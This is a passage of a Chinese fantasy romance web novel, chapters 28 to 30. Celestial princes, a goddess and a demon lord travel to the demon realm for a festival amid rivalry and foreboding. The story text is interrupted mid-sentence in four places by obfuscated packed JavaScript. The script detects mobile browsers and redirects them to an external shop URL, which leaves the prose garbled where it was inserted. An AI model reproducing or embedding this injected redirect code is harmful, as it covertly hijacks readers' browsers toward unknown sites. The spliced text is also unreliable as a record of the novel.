“我看得出她并非恶人,只是被逼得急了,为了活命而已。我与百里及春还有裘安不同,故而我们的结果亦不会相像。” 魔宫,烛月殿。 温辞踏进殿门,步入殿中央朝上座行了一礼,颔首禀道:“禀尊上,她已经走了。” “嗯。”百里及春位于座上,撑着一只手轻抵在额间。尽管他此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个只涨修为不长脑子的,罢了,自己是救不了他了,他还是自求多福罢,想着便起了身:“尊上,属下又不打算为他求情了。属下告退。” 话落,赤龙不禁一怔,回首看他。 好家伙,叫他走他还真走了! 转瞬间,殿内又只剩下百里及春与赤龙二人。 赤龙虽不服气,但对自家尊上绝无二心。是以这般无声的抵抗并未持续多久,温辞一离开,他便垂下脑袋,如同霜打了的茄子,有气无力道:“尊上,属下认罚。” 出了烛月殿往西一直走,便是万灵冢。 赤龙走在前往万灵冢领罚的路上,突然见温辞在前方站着,看样子是特地在此处等着他,顿时气不打一处来,大声骂道:“你这不讲义气的小子,还在这站着干嘛,等着看你爷爷我的笑话呢?” 温辞走到赤龙身旁,摇首道:“兄弟我可不是来看你笑话的,我是来给你提醒的。” “用不着!”赤龙甩头转身,步伐急促地往前走去。 见他如此态度,温辞不禁叹了口气,提步追了上去,将手搭在他的肩膀上,语重心长地说:“你以后遇见那位斩秋上神还是对人家客气些,她毕竟对咱们尊上有恩。” 赤龙闻言冷嗤一声,双手抱胸满目不屑:“不就是前些时日在天宫救了咱们尊上一回,说到底尊上会受伤还不是拜她所赐!要不是她让尊上吃下了源溯丹,尊上能被涂千羽那家伙伤到?!这算哪门子的恩?!” “非也非也,我说的可不是这回。” 赤龙听罢一愣,停下了脚步。他蹙起眉头,转首狐疑地看着温辞:“不是这回?” 温辞的目光看向一旁的魍树,思绪飘到了一千年前,想起了当时的情形,不由得长叹一息,随后才道。 “你还记得一千年前,尊上因长青将军身死一事在孔雀楼喝得酩酊大醉吗?那一日我本是去向尊上递交西霆海情报的,却不想尊上醉了,非要拉着我陪他一起喝,我还是头一次见到尊上那么失态的模样。” “也就是那一日,我第一次从尊上口中听见了斩秋这个名字。当时尊上虽然已醉得不省人事,但有一句话我听得分明。” “什么话?”赤龙好奇地问。 “尊上说……”温辞回想着当日尊上悲伤的神情,回答道。 “斩秋,你为何要救我,又为何不记得我。” 28. 第28章 “一千年前……”赤龙眯起眸来,神情半信半疑,“那时候斩秋不是应该在缥缈境吗?她何时救过尊上?” “这我就不知道了,或许是更久之前罢。”温辞摇了摇头,将话题拨回正轨,“总之,你以后少去招惹她,就当是看在尊上的面子上。” 赤龙听罢嘴角一撇:“哼,只要她别再来我魔界晃悠,我自然也不会主动去招她。再说了,我也没见尊上对她有何不一样的,说不准是你听错了。” “你这冥顽不灵的……罢了。”温辞不打算再与其分辨,左右自己算是做到仁至义尽了,听不听得进去就看他了。继而转身离去,头也不回地抛下一句,“兄弟我素来畏寒,就不送你去万灵冢了,你自求多福吧!” 自从那日再次梦见斩秋,朝云宫内的灯火已接连七日未熄。 邬霖不知发生了何事,终于忍不住道:“殿下,您已连着几日未阖眼了,究竟是何事如此要紧?不如交给属下做罢。” 裘安只是翻着案台上的卷宗,并未搭话。 待手上这卷看完他才掀起眼来,将视线移到邬霖身上,仿佛此刻才察觉到他的存在一般:“你来可是有事要禀?” “是元离神尊。”邬霖颔首回禀,“今晨属下去往岭遥台时,元离神尊跟属下提起殿下,神尊问殿下服用了安神之物后可有帮助?” 裘安闻言撒开了卷轴,抬手按了按眉心,神情显得有些疲惫。 师尊给的丹药他还未用,不知为何,好像是隐隐觉得这梦境并非丹药可治,但他实不愿被梦中情绪控制,故而一直拖着未眠。 身为上神,他自有功法维持身体的精力,本无需如凡人一般每日依靠入睡来调整。但若长此以往,难免感到疲倦。既如此,那便试一试师尊所给的丹药罢。 想到这里,裘安缓缓起身朝内殿走去。殿中的仙侍见状与邬霖交换了个眼色,随即为裘安焚上安神香,而后退了出去,关上了殿门。 许是丹药真的起了作用,这一次,裘安终于没再梦见斩秋。 睡梦中,裘安看见自己被父神召见,来到了万虚殿。一同被召见的,还有裘旭。 天帝站在他们二人面前,难得地面露喜色,神色轻松:“旭儿,安儿,朕唤你们前来是有一件重要的事要与你们商量。” “父神请讲。” “昨日天宫收到了妖皇的来信,信中夹带了一张请帖,乃是妖神祭典。” “妖神祭典?”裘旭眼眸微亮,“听闻妖族的妖神祭典百年一次,乃是妖族最为重要且盛大的典礼,可是他们却从未邀请过外族者参加,如今这是…?” “不错,”天帝微微颔首,朝殿外霞光看去,他的眼神逐渐变得深邃,“自一千五百年前烁水湾那一战起,我族与妖族之间的关系便出现裂痕。虽然近千年来两族之间再未争战,关系也看似平和融洽,但这种景象终究只是流于表面。” “而如今新的妖皇登基,并给天宫送来了请帖,想必是有意与天界修复关系。此次妖族相邀于我天界而言十分重要,你们二人谁愿前往?” 正当裘安、裘旭准备开口之际,殿门外突然跳出来一个人影,“嗖”的一下跑到天帝面前:“父神!为何不算上我?” 天帝看着裘霜撒娇的模样,笑着轻轻摇首:“霜儿,此事非同小可,你就不要胡闹了。” 裘霜听他话虽如此,语气中却没有一丝斥责的意思,便更加有恃无恐起来:“父神!女儿也想见识见识这传说中的妖神祭典,就让女儿去瞧瞧吧?” 还未听天帝如何回答,梦境中骤然穿入一道熟悉的声音,此声宛如一把匕首,划破了未落帷幕的梦。 “殿下,殿下!” 裘安缓缓睁眼,看见了邬霖满目急切的脸,不由敛眉:“何事?” “陛下急召。” 彼时天光微亮,裘安换好衣服走出朝云殿,抬首望了一眼此刻泛着金光的天空。 方才在梦中前往万虚殿时仿佛也是这般天色。 “父神可有说是何事?”路上,裘安突然问道。 邬霖跟在裘安身后,如实回答:“不曾。” 裘安闻言心中添一抹狐疑,不自觉地加快了脚步。 裘安步入万虚殿时,天帝正立于正上方主位上,看他到了方才缓缓走下来,朝着他的方向而来:“安儿,你来了。” “见过父神。”裘安抬手施礼,“不知父神召儿臣来所为何事?” 天帝走到裘安身前,轻轻拍了拍他的肩膀,面容难得和蔼:“确有要事,不过,先等一等旭儿。” 裘旭也会来? 裘安眉宇间闪过一丝不易察觉的疑惑。 只见裘旭匆匆踏入殿内,向天帝施了一礼,禀明了他为何姗姗来迟。天帝并不怪,反而一脸喜色,神情透着愉悦。 裘安看着眼前天帝这副表情与梦中的模样渐渐重合,心下顿觉古怪,就在他思索着这份古怪是什么时,天帝终于开口:“旭儿,安儿,朕唤你们前来是有一件重要的事要与你们商量。” “父神请讲。” “昨日天宫收到了妖皇的来信,信中夹带了一张请帖,乃是妖神祭典。”天帝从袖中掏出一张赤色请帖,款款道来。 话音落下的那一刹,裘安的身形陡然一抖。 这是什么? 为何天帝所言与方才自己在梦中听见的一字不差? 裘安不可置信地抬起眼,看着面前天帝悠然的神情,听着天帝讲述仙妖两族的过往,他忽然感到一阵眩晕。 时间仿佛在这一刻凝滞,眼前的一切都变得缓慢无比,双耳像是被笼上了一层雾,什么也听不真切。 待他再次回神,天帝正看着他与裘旭,一脸期许地问道:“此次妖族相邀于我天界而言十分重要,你们二人谁愿前往?” 裘旭闻言目光落在裘安身上。他知道安儿一直期望得到父神的认可,若安儿打算接下此任,他绝不会与其争抢。 裘安虽已回神,思绪却无法集中,他张了张口,却半晌未言一字。 就在天帝与裘旭感到疑惑时,一道清脆的声音突然冒了出来:“父神!为何不算上我?” 裘霜不知何时从角落里跳了出来,三人应声朝她看去,天帝无奈地摇了摇头:“霜儿,此事非同小可,你就不要胡闹了。” “父神!女儿也想见识见识这传说中的妖神祭典,就让女儿去瞧瞧吧?” 彼时裘安的表情愈发凝重,他忽然怀疑自己是否还未睡醒,若非如此,眼前这一切简直是荒诞至极。 他的心中有诸多疑问,可眼下心神已乱,早已无力思考,是以他抱手作礼,只道:“儿臣忽感不适,先行告退。” “安……”天帝正欲说些什么,却见裘安一副失了魂的模样,头也不回地朝外步去。 候在殿外的邬霖见裘安出来,连忙跟了上去。走在回朝云宫的路上,他突然发现裘安的状态有些不对劲,不由得上前询问:“殿下,可是方才在殿中出了何事?” 问完迟迟不见后者回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633951|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答,邬霖又道:“殿下?” 此时裘安突然停了下来,寒声道:“邬霖,你说这世上没有预见未来之法,对吧?” 邬霖闻言微愣,如今这已是殿下第二次提起“预见未来”之事了。 “属下确实未曾听说过。但若殿下认为有,属下便为殿下查寻此法。” 裘安没有吭声,心中整理着思绪。 他是从何时起开始夜里入梦的? 除了刚回天宫的那一年频繁梦魇,之后便再也没有过了。而最近突然又有梦境,是从……赐婚之后。 ——也就是斩秋出现以后。 可若说这梦境对应着现实,为何当初在万虚殿与斩秋初见时的情形与梦里大相径庭? 裘安越想越觉得头疼,垂眸叹了一息:“罢了,你再去一趟师尊那吧。” 这几日斩秋除了在秋茗宫等着涂千羽的消息,便是在岭遥台翻阅着古历,毕竟她已答应元疏助其重返岭遥台。 虽然元疏并未当真,亦不愿向她透露当年发生了何事。既然他不愿说,她便自己查。 此刻斩秋正坐在瑶仙树下,一抬眼便瞧见邬霖火急火燎地从外面走来。他走得太急,以至于没有看见树下的斩秋,直奔溪止殿。 见他神色这般紧张,斩秋心生好奇,难道是裘安出事了?想到这里,她的嘴角就不自觉地微微上扬。 灵衫见斩秋一副幸灾乐祸的表情,眼底也划过一抹不易察觉的笑意,上前道:“殿下,需不需我去打探一番?” 斩秋轻轻颔首默许。 约莫过了两刻,终于瞧见邬霖从溪止殿出来。斩秋在其离开后,施施然地走了进去,对着元离施了一礼:“元离神尊,方才邬霖前来与您说了什么?” 听她这样问,元离神色不动,只是默默看着斩秋,似乎在思考她询问的用意。 斩秋知晓他护短的性子,脸上又挂起一抹笑来,循循善诱道:“您不是说过希望我与裘安好好相处吗?我会这么问您只是关心裘安罢了。” “其实也没什么。”元离闻言有些松口,顿了片刻,又道,“不过是来寻老身取几副助眠静心的丹药罢了。” “助眠静心?”斩秋挑了挑眉。 “怎么了?” “哦,没什么。”斩秋笑了笑,“若是管用,晚辈也想讨上几副。” 回到秋茗宫后,灵衫也从外归来,将打探到的消息一一回禀:“殿下,听闻今晨天帝召了裘旭与裘安于万虚殿商议妖族相邀一事。” “妖族?”斩秋眉宇微动,“何事相邀?” “妖神祭典。”灵衫回道,突然想起什么,又道,“听说是裘旭接下了请帖,一同前往的还有裘霜公主。” 话音落下,斩秋才慢慢反应过来。 上一世裘霜莫名死在妖界便是这个时候,而当时陪她一同前去妖界的人,是裘安。 “你确定听到的是裘旭接下此事,而非裘安?” “是。” 上一世裘霜死得不明不白,除了裘安,无人知晓其中原委,而这也是后来裘安拿来攻打妖族的理由。可是依照她对裘安的了解,焉知裘霜的死不是出自裘安之手? 想了许久,斩秋还是决定前去请旨陛下,让她一同前往。 可是她却忘了,当今天帝是知晓她真实身世之人,并对此尤为忌惮。故而大殿之上,天帝祁华看着底下恭顺请旨的斩秋,眼底流露出一抹危险的气息,笑问她。 “不知秋儿何故想要前往妖界啊?” 29. 第29章 听天帝这么问,斩秋故作无知,学起裘霜胡搅蛮缠的模样:“听闻霜儿妹妹也会前去,陛下,您不能厚此薄彼呀!” 她说着垂下眼睑,神情也变得哀愁起来,吸了吸鼻子,道:“自父……玄焰真神逝后,我在缥缈境便是每日如一日地过,如今回了天宫,日子还是一成不变。唉,真很怀念从前和玄焰真神一起游历八荒的时光。” 此话虽是为了刺激天帝,让其看在她一片孝心守灵千年的份上心软一些,对她放下戒备,但她话中思念不假。 从前父神在时,时常带她四处游历,虽然在一处待的时间不会太长。但有一回,父神依着她的性子,在人间待上了足足两年。那两年,可谓她漫长岁月中最轻松珍贵的时光。 提及玄焰真神,天帝的眼神果然柔和了许多,甚至还浮上一抹微不可察的愧色。 他摆了摆手,安抚道:“好了,朕便是随口一问。秋儿莫要伤怀,朕应了你便是。” 斩秋闻言藏起心底的笑意,装模作样地抬手抹了抹眼角:“谢陛下!” 待裘安从纷乱的思绪中抽出心神,已是两日后,这时他才恍悟自己推拒掉了一个多么难得的机遇。 虽有些后悔,但如今事已成定局,裘旭他们明日便会前往妖界,而他则负责留守在天界,替裘旭暂时掌管九重幽境。 本想着此事便这么罢了,可当邬霖回来回禀,告诉他明日前往妖界的队伍中也有斩秋时,他又改了主意。 第二日临行前,斩秋写下一封信交给玲珑,吩咐她在自己走后便回缥缈境去。若涂千羽在她前往妖界时找来,便将此信交给她。 斩秋在信中特意叮嘱,诱使裘安前往白骨渊的日子一定要选在她从妖界回来以后,否则她便无法达成坐收渔利的目的,反而是替裘安做了嫁衣。 可惜她的担忧是多余的。 南天门前,斩秋看着站在飞辇前好整以暇地等着她的裘安,抿了抿唇:“怎么是你?裘旭呢?” 裘安笑着看她,一脸揶揄:“不是兄长前来,你很失望?” 的确有些失望,但她并不惊讶。依照裘旭的性格,只要裘安主动去寻他,他有什么东西让不出来? 斩秋并无废话,越过裘安便欲往裘霜的飞辇而去,准备与她同乘一辆。正走着,手腕突然被一道力量向后拉去,让她无法前行。 “你干什么?”斩秋回首瞪了裘安一眼。 裘安没回答她,反而朝着不远处的裘霜喊道:“霜儿,我与斩秋乘一辆吧。”说着他的目光低下来,分明是在对裘霜说话,却含笑地看着斩秋,“我有许多话要对她说。” 裘霜见状不由偷偷捂嘴笑了起来,她笑得一脸暧昧,而后忙道:“知道了!” 说完后,她还不忘朝裘安挥手,偷偷对他做了个口型,似乎在说“二哥,加油”。 斩秋无奈甩开裘安的手,弯腰钻入飞辇,她刚一坐下便闭目凝神,气势上大有几分眼不见心不烦的意味。 随后上来的裘安见她无视自己的意图如此明显,却也不恼,只觉是意料之中,漫不经心地在她对面坐下。 轿辇内安静的只能听见车外銮铃轻轻摇动发出的清脆声响。 过了许久,裘安冷不丁地开口:“我知道当时住在齐星斋的人不是玲珑。” 他话语一顿,抬眼注视着斩秋的脸,想要从那上面找到心虚和惶恐,“而是百里及春。” 然而斩秋眼皮都未抬起一下,语气平静如水:“我不知道二殿下在说什么。” “你无需与我装傻,我本也不打算去父神那揭发你,毕竟我也没有证据,不是吗?”裘安义正言辞道,“只不过我委实好奇,你与百里及春之间究竟牵扯多深,你们之间所谓的交易是否会影响到天界的利益。” “你别忘了,神魔殊途,你们终究走不到一起。” 待此话落下,斩秋终于睁开眼来,望进裘安那双寒气森然的眸子:“或许我与百里及春要走的的确不是同一条路,但是二殿下你选择的那条路,绝非我想要的。” 她缓缓抬手掀开车帘,注视着窗外的路,“不过二殿下如此关心我的事,倒真让我有些好奇。二殿下到底是真的担忧天界安慰,还是……” 说着松手转回眸来,语气淡然。 “二殿下喜欢上我了?” 裘安闻言一震,没来得及反驳,又听她道:“若是前者,你不必担心,该如何与魔族打交道,我自有分寸。” “若是后者……” 斩秋还未说完,便被裘安黑着脸打断:“放心,我没有。” 声音一如他的脸色那般阴沉冰冷。 听到这个回答,斩秋颇为满意地颔首,望着裘安那张阴冷却略显恼怒的脸,忽而笑了起来。 “我自然知晓没有。想必你我的婚事也不过是二殿下的日子过得太清闲了,故而拿此当作乐子。待二殿下何时玩得倦了,还望高抬贵手,与我一同禀明陛下,将此婚退了罢。” 此番过后,裘安未再言语,车内又恢复了一片宁静。 飞辇在空中稳稳驶行,终在日暮时到达了妖界梦幽城。 梦幽城乃妖族皇宫所在之地,今夜斩秋等人便将歇在城中,待明日宫中之人前来接应。 待飞辇停稳后,斩秋率先走了下去,到后面的队伍中寻灵衫。刚一见着灵衫,便听她问道:“殿下,裘安没有为难您吧?” 知道斩秋与裘安独处,灵衫自南天门起已然担忧了一路。 “为难我?”斩秋挑眉,眉宇中透着奚落的笑意,“他再修炼个五十年吧。” 说完她终于放眼朝四周望去,将梦幽城的繁华景象尽收眼底。此处与她曾在凡间待过的天都城倒有几分相似,若非街头漫天飞舞着橘红的妖火,倒是要叫她以为自己回到了凡间。 看着妖族众生安定生活的模样,斩秋心中更加坚定了一点,这一世绝不能让裘安因为一己之私毁了这一切。 斩秋、裘安一行人与随行的仙侍们在城中客栈宿下。 难得有机会来到妖界,斩秋可不打算将时间浪费在客栈里。刚一入夜,她便带着灵衫出了房间,到城中酒肆去。 这里的酒肆装潢倒没什么特别的,与天界或是凡间无异。真正特别的,是这儿的酒。 早便听闻妖界有一酒名为琉璃酿,其香气浓郁独特,入口时初觉苦涩,细细品味又觉出甜美,余味绵长悠远,让人陶醉其中、难以忘怀。 斩秋唤酒家过来上了两坛,她一手掀开酒封,一手抱着坛身,下一刻就准备这么举坛畅饮。灵衫见状连忙伸手虚按住斩秋的手腕:“殿下,还是倒出来喝吧,当心喝得太急。” 斩秋摇了摇头:“酒便是要这么喝方才尽兴。” “殿下今日何故如此开心?”灵衫跟在斩秋身边千年,最是知晓她的习惯。她虽好酒,却并不嗜酒,唯有在真正快意时才会如此。 斩秋眯眸想了想,许是此情此景让她想起了父神,她已有许久没有这种回到从前的感觉了。 她撑起手臂托着脸颊,朝围栏外的城景看去:“我想父神了。” 灵衫闻言目光软了些许,不知说些什么,半晌才道:“您一定能查到真相的。” 斩秋点了点头,柔柔笑起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633952|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两坛酒下肚,斩秋的脸上泛起了红晕,眼神也变得迷离湿润起来。 夜里的微风吹来拂过她的脸颊,吹散了几许醉意,她本想就此回房,可酒楼下突然传来的声音又引得她将目光投去。 只见一名红发少年似乎与路边店家起了争执,他的身后还躲着一个妖族小孩。 “你算什么东西?也敢找老子的茬!”红衣少年推开面前的妖族男子,高高抬起下巴,神情间写满了不屑与轻蔑。 斩秋揉了揉眼睛,疑心自己喝多了出现幻觉,否则那红发少年的脸怎么越瞧越眼熟?她低声喃喃着:“赤龙…?他怎么可能在妖界……” 话音刚落,一道低沉的声音从她的头顶传来。 “有何不能?” 斩秋循声仰起头,入目的是百里及春冷峻的脸庞,她神色一愣:“灵衫,我是不是出现幻……”说着便朝对面的灵衫看去,话还未完,便见灵衫紧紧锁眉望着她却动弹不得,亦无法言语。 她被施了静魂术,这是魔族特有的咒术。 斩秋这下瞬间清醒过来,眼前不是幻觉。 她眉头微蹙,抬手按了按太阳穴的位置,神情间带着几分疲倦与无奈,对百里及春道:“把灵衫的静魂术解了。” 百里及春顾自拿了把椅子,慢条斯理地坐在了斩秋左侧:“待本座想解时,自会替她解了。” 斩秋瞧他不像来找自己麻烦的,懒得与他争执:“你怎么会来妖界?” “你来这做什么,本座便来这做什么。” 他的口吻冷淡,不似在揶揄玩笑。是以斩秋没有吭声,只是抬眼静静地望着他。 片刻间,她忽然意识到什么:“也是妖皇请你来的?” 百里及春不言,权作默认。 看来他们的陛下是想错了,这位新任妖皇的请帖可不是单单送了他们天界一家,想要拉拢的恐怕也不止天界。斩秋心中暗道。 只怕这次妖神祭典,没那么简单,说不准还是一场鸿门宴。 思及此,斩秋颓然笑开,忽而又不想回去了。一想到明日进宫又要面对尔虞我诈的事实,还不如今夜醉死在这里。 “酒家!再来两坛!” 百里及春见她这般模样,眼中划过一抹怪异:“你这是?” “今朝有酒今朝醉。”斩秋苦笑道,说着还不忘拜托他把灵衫的静魂术给解了。 百里及春却没搭理她,恍若未闻。 夜里的时间仿佛流逝得比白天要慢一些,酒过三巡,斩秋已然喝得有些醉眼朦胧了。 她看着眼前正襟危坐的百里及春,不由将桌上的酒向他推去:“你,要不也喝点?喝完就把灵衫的咒术解了吧……她……不会打你的。” 许是因为醉了,她的声音变得比先前柔和许多,语速缓慢,还隐隐带着几分讨好的意味。 百里及春慢条斯理地端起茶盏,轻轻呷一口,目光扫了一眼一旁的灵衫:“这是已你今夜第三次让本座替她解咒了。” 他说完放下茶盏,神情若有所思,不知想起了什么,视线移到了斩秋身上,又道:“你这轻易将软肋暴露在外人面前的习惯,不好。” 听他这么说,斩秋嗤笑出声,她朝百里及春所在的方向抬起头,眼神却在空中游离:“任谁都有软肋……难道,你没有?” 百里及春沉默地盯着斩秋的脸,幽深的眼眸里似乎弥漫着炙热的火光,既充满着渴望,又有写不尽的落寞难过。 直到斩秋醉倒趴在桌上,他都没有收回视线,只是用沙哑的声音低低道了句。 “我也有。” 30. 第30章 良久,百里及春才似想起什么一般,抬手一挥解了灵衫的禁制,离去前对她丢下一句:“照顾好她。” 灵衫闻言神情微滞,朝着他离去的方向望了好久。回过神后,她看着眼前昏睡的斩秋,似乎明白了些什么。 第二日斩秋醒来时已然不记得昨夜后半程发生了什么,甚至有些怀疑昨日百里及春的出现都是一场幻境。 走出房门之际,她正在心中琢磨着要不要将百里及春也受到妖皇邀请之事告诉裘安,好让他提前有个心理准备,方便应对。 孰料彼时对面的两间房门也开了,一左一右走出两道身影,而那两人正是百里及春与裘安。 二人看见对方不约而同地停下脚步。两道目光相接,一道从容悠然,一道诧异错愕。 斩秋亦隔着走廊看着百里及春,昨夜的记忆逐渐回笼,她依稀记得自己倒下前,百里及春告诫她不要轻易将软肋暴露在外人面前。 然后……他们还说了些什么? “百里及春,”裘安望着前者,率先开口问道,“你怎么在这?” 他正要回答,却在下一瞬,似有所感地朝斩秋看了过来。注视半晌,唇边不觉漾起一丝微妙的弧度:“斩秋没有告诉你吗?” 裘安听罢一怔,顺着他的目光望去,这才看见了对面立于房门外的斩秋。 听到自己的名字被突兀地提起,斩秋忙从回忆中抽出思绪,淡道:“我也是昨夜才知道的。” 她不解释还好,一解释,空气中瞬间充满了一丝暧昧的气息。偏生她还一副若无其事的模样,似乎丝毫未察觉到自己所言有何不妥。 裘安闻言双唇紧抿,脖颈上的青筋若隐若现,似乎在强压着什么冲出心口,久久未言。 百里及春将他的反应尽收眼底,神色不由得冷了几分:“本座亦受邀来此,既然这么巧碰上了,便一起吧。” 待裘霜从房间出来时,看到的便是这样一副景象。 她本想上前询问发生了什么,但一瞧见裘安那副阴沉的表情,她还是默默将话憋了回去,老老实实地躲到了斩秋身后。 几人一齐走出客栈,很快便看见妖族宫中派来的人缓缓朝他们而来。 迎接的队伍中,一人身穿暗紫色的锦衣,步履稳健地走在最前面。只见他的衣襟上用金线绣着羽翼的图样,腰带上嵌满了各色宝石,透着华贵而神秘的气息。 待走近后,来者满脸堆起笑容,到裘安、百里及春面前一一见礼:“想必二位就是九重天二殿下与魔尊吧,在下名唤雪岚,是陛下派来接应二位殿下的。” 说罢他伸手作请,邀他们上前,而后才看见他们身旁的斩秋与裘霜:“不知这二位是?” “斩秋。”斩秋客气地笑了一下,随后揽过裘霜介绍道,“这位是九重天的裘霜公主。” “原是小神君和公主殿下,这边请。”雪岚笑着迎道。 四人随着雪岚手指的方向朝迎接的队伍走去,才迈出几步便听见身后突然响起赤龙骂骂咧咧的声音。 “你们凭什么拦着我?” 回首望去,但见雪岚带着一行随侍隔开了赤龙。 不仅是赤龙,被拦下的还有灵衫、邬霖,以及从天宫随行而来的所有仙人。 斩秋心生警醒,下意识将裘霜护在身后,对雪岚问道:“这是何意?” 听她这么问,雪岚缓缓转过身来,恭敬地朝斩秋拱手行礼:“回神君,这是陛下的意思。无关人等,一律留在梦幽城等候。” 雪岚的声音十分温和,可当他抬起头来,眼中闪烁着不容置疑的威严。 斩秋眉头一紧,心想妖皇只让他们四个前去,莫非今日当真是场鸿门宴。 若他们推拒不从,最坏的结果也不过是打起来。虽然此次他们从天宫带来的人不多,仅凭雪岚带来的这些妖族,不是他们的对手。 可就算他们赢了,眼下也还在妖族的地盘,要逃出去恐怕要花费很大的力气,还会将这梦幽城搅和得天翻地覆。 想到这里,斩秋又打消了返回天宫的想法。既然已经来了,不如先走一步看一步,至少得弄清楚妖皇此举到底是何用意罢。 “笑话!我看今日谁敢拦我!”赤龙大声怒喝,扬起手中红鞭便朝着雪岚挥去,却在下一瞬被一道冷峻的声音遏住。 “赤龙。”百里及春面无表情地望着前者,凛声道,“不得无礼。” 赤龙虽不满妖族的作派,却不得不遵尊上的命令,继而愤愤收回了手,目光依旧恶狠狠地盯着雪岚。 雪岚见状又朝百里及春拱了拱手表示感谢:“陛下对各位并无恶意,雪岚亦是按规矩办事,还望各位理解。” 斩秋闻言朝对面的灵衫递去一个眼神,示意她先回天宫将这里情况上报天帝。后者会意,悄然后退淡出了人群。一同这么做的还有邬霖。 看见邬霖的动作,斩秋不由瞥了裘安一眼。他应是也打算按兵不动,先去见见这位新任妖皇再说。 按说他们在妖界,应乘飞鸟而行,可雪岚带来的却是两乘全然封闭的轿舆,底下栓着八只狞兽,以其为引向前拉动。轿舆的空间不大,最多允许两人同行,想来妖皇一开始并不知晓斩秋与裘霜也会来此。 斩秋望着眼前两乘轿舆,不由看了看身旁的百里及春和裘霜,随后又扫了一眼裘安,似乎怎么安排都不合适。于是她开口道:“我与百里及春乘……” 话犹未尽,身旁传来裘安的声音:“霜儿,你与斩秋同乘。” “好。”裘霜忙颔首,牵着斩秋朝后走去。斩秋却有些犹豫,钻进轿舆前还不忘回首又看他们一眼。 他们俩,不会打起来吧? 轿中昏暗,只有两盏微弱的烛火悬于顶上。斩秋与裘霜方一坐定,轿舆便已飞驰而动。 虽然四面封闭,无法从轿内窥见外面,但斩秋仍能感觉到此刻这轿舆之下的狞兽并非于地面驰骋,而是在空中。 不告知具体宫址,只安排宫中侍者前来接应,用的还是看不见外物的车轿… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633953|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …种种古怪恐怕只有一个解释。 “妖族皇宫并不在梦幽城中。”斩秋一面想着,一面低声喃喃道。 裘霜未听清她所言,故而问道:“嫂嫂,你说什么?” “……”斩秋目色一沉:“你叫我什么?” “嫂嫂呀。”裘霜笑盈盈地回答,话落之后久久不得斩秋回应,她又道,“怎么了?” “我不是你的嫂嫂。”斩秋声音冷淡。 裘霜似乎并未察觉,天真道:“现在不是,将来就是了。” 将来也不会是。 斩秋本欲如此回道。但考虑到其年纪尚浅又颇为单纯,她恐自己将话说得太绝对了,待其回天宫之后会将此事宣扬。若是落入天帝的耳朵里,难免又是一场闹剧。 故而她轻叹一息,换了个说辞:“我与他到底还未成婚,你还是直接唤我斩秋吧。” “哦。”裘霜点点头,忽而想到什么,眼睛一亮,“那我叫你秋姐姐吧!” 斩秋无所谓地颔首:“随意。” 与此同时,另一间轿舆内。 裘安自客栈见到百里及春起便一直觉得心中有一口气顺不下去,一直思忖着他为何出现在此,他的出现是否与斩秋有关。若是无关,他们昨夜因何相见? 诸多疑问堵在胸口,裘安只觉烦闷至极,周身散发着阴郁的气息。他就这么一言不发地坐在那里,任由寂静笼罩着这间狭小的轿厢。 终于,还是百里及春轻笑着打破沉寂。 他双腿交叠,一只手慵懒地撑在一侧,慢悠悠道:“原以为二殿下执意要与本座同乘是有话要说,看来不是啊。” 昏暗中,裘安似乎听见了他略带鄙薄的笑声,不由攥紧拳头:“你接近斩秋到底有什么目的?” 后者不答反问:“二殿下以为呢?” “我已查过回元,其为上古时期之物,古籍中并未记载它的来历,却标明了它或具备摧毁天地的威力。”裘安道,“若你要斩秋帮你取得此物是为了挑起纷争,做有违天理之事,我绝不会坐视不管。” 百里及春听罢觉得有趣,身体向前倾斜几寸,饶有兴趣地问:“二殿下的意思是,若本座既无伤天害理之心,也无破坏两族和平之意,便可以接近她吗?” 听出其话中玩味挑衅之意,裘安登时面色铁青,低声怒喝道:“百里及春!” 尽管他将声音压得很低,但其中威胁与不满之意却清晰可闻。 百里及春应声敛起笑容,但他目中讥诮不减,轻轻摇首,语气带着几分可惜的意味:“原来不是啊。” 话音落下,逼仄的轿厢内陷入了一种诡怪又绵长的沉默。 半晌,裘安抬起眼,望着对面的百里及春寒声告诫道:“斩秋与我有婚约在身,还望魔尊自重。” “有婚约又如何?” 百里及春不以为然地反问,说着将身子往后,轻轻倚在靠背上,言语散漫。 